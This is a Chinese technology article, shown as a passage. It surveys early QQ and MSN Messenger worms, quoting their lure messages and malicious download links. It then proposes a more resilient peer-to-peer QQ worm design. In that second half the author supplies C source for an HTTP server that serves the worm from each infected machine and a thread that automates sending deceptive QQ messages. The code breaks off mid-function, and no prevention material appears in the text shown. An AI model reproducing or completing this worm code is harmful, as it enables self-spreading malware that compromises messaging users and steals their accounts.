首页>
技术资讯>
详情

基于P2P思想的QQ蠕虫原理与防治

2016-06-21 来源:CloudBest 阅读量: 300
关键词:


  一.背景
  以QQ为代表的即时通讯软件,在网络时代迅速而轻易地赢得了无数用户的心,然后以更加惊人的速度普及开去,目前,网络上使用QQ软件的注册人数已经超过1个亿,但树大招风,从今年病毒的发作情况来看,已经有将近100种QQ类型的病毒出现。由此可以看出,利用QQ这类即时通讯工具来进行传播的病毒,已经逐渐成为新病毒的流行趋势。
  
  2002年8月25日,瑞星全球病毒监控中心截获了一个传染能力极强的恶性QQ病毒——“爱情森林”(trojan.sckiss)。病毒的制作者利用QQ聊天机制,向用户发送“这个你去看看很好看”的信息。如果用户收到此信息,并点击该链接,则会进入一个包含恶性攻击代码的恶意网页,此时病毒将会被自动下载并发作。同时,病毒还会利用用户的QQ好友名单,继续向外扩散而且病毒会侵占系统目录,继续“生生不息”。“爱情森林”病毒通过QQ发送信息之后,便开始进行本机的感染。
  
  据悉,这种恶意网页用JS脚本语言编写,利用了JAVAEXPLOIT漏洞,所以不经用户的允许,便可以悄悄自动下载“爱情森林”病毒并执行。而后此恶意网页会修改用户注册表以进行破坏,并将用户的IE标题和IE默认首页改为:sckiss.yeah.net"target="_new">http://sckiss.yeah.net爱情森林。
  
  另一个名叫“QQ伪装专家”的新型恶性病毒会将真正的QQ程序改名,然后将自身伪装成QQ程序,并在桌面上建立快捷方式。用户点击这个快捷方式后,屏幕上会出现同真QQ一样的界面,当用户登录时,病毒便会将用户的QQ号码与密码偷偷发送到指定的邮箱,用句QQ迷们的语言就是,“你的QQ被黑了!”;
  
  在原理上,这个病毒和QQ毫无关系,只是利用人们对QQ 的熟悉性来欺骗用户而已。
  
  必须注意的是,微软力推的一款即时通讯软件MSN Messenger,因为它与Windows系统的完美结合,用户群不在少数。2002年10月9日下午,金山公司反病毒应急处理中心截获了一例通过MSN聊天工具进行广泛传播的电脑病毒“GFleming”,经证实,这是世界上第一例通过微软即时聊天工具MSN Messager进行大规模传播的电脑病毒。“GFleming”病毒的传播非常的迅速,一旦用户感染该病毒,该蠕虫会首先查看用户是否安装了MSN Messager并且已经登录。若用户已经登录,该蠕虫就会通过MSN Messager的对话窗口向所有联系人名单中的人发送欺骗性的信息:
  
  Hey!! Could you please check out this program for me? I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!!
  
  收到该信息的用户不小心点击这个链接执行了这个蠕虫的话,蠕虫就会继续通过MSN Messager向其他联系人发送同样的信息,引起连锁反应,造成病毒的快速传播。
  
  ‘Cool Worm‘的病毒的欺骗消息是:"Go To http://www.masenko-media.net/cool.html NoW !!!"点击这个连接会打开一个带有恶意Javascript程序的网站,他会抢夺受害者的好友名单,并且先每个人发送一个相同的邀请信息。这个信息同时也将地址发送电子邮件到名为mmargae@wanadoo.nl的信箱中。
  
  类似的病毒还有几例,原理相同,这里不再一一枚举。
  
  总之,这类病毒的共性是:
  
  一旦在机器上获得控制权,会首先查看用户是否安装了QQ或MSN Messager,发现后,该蠕虫就会通过对话窗口向在线好友发送欺骗性的信息,信息包含一个超级连接,因为在接受窗口中可以直接点击连接,启动IE,IE会和这个服务器连接,下载html页面。这个页面中含有恶意代码,把蠕虫下载到本机并运行,完成了一次传播。然后再以这台机器为基点,向本机所能发现的好友发送同样的欺骗性消息,传播迅速。
  
  欺骗信息一般是邀请你去发送过来的网址去看看,如“看看这个,好东西http://www.xxx.com/cool.html“。
  
  从传播手段上看,病毒传播是一种C/S模式,即每台机器都是从指定的服务器下载,比如GFleming是,http://home.no.net;QQ密码记录器是http://xmc.nease.net;‘Cool Worm‘是http://www.masenko-media.net/.这种方法的局限性是,一旦网站被封闭,病毒也就寿终正寝,不攻自灭了。
  
  二.基于P2P思想QQ蠕虫的原理
  为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。
  
  当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。
  
  主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):
  
  1. http服务器的实现
  
  LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     saServer.sin_family = AF_INET;
     saServer.sin_port = htons(5058);
     saServer.sin_addr.s_addr = INADDR_ANY;
     bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
     listen(LisenSocket, SOMAXCONN);
     CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
     while(TRUE)
     {
      peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen); 
    SendFile();    
     }
     void SendFile()
     {    
      BYTE buf[1024];
      DWORD ByteRead;
      ::SetFilePointer(hFile,0,0,FILE_BEGIN);
      ReadFile(hFile,buf,1024,&ByteRead,0);
      while(ByteRead)

热门推荐 查看更多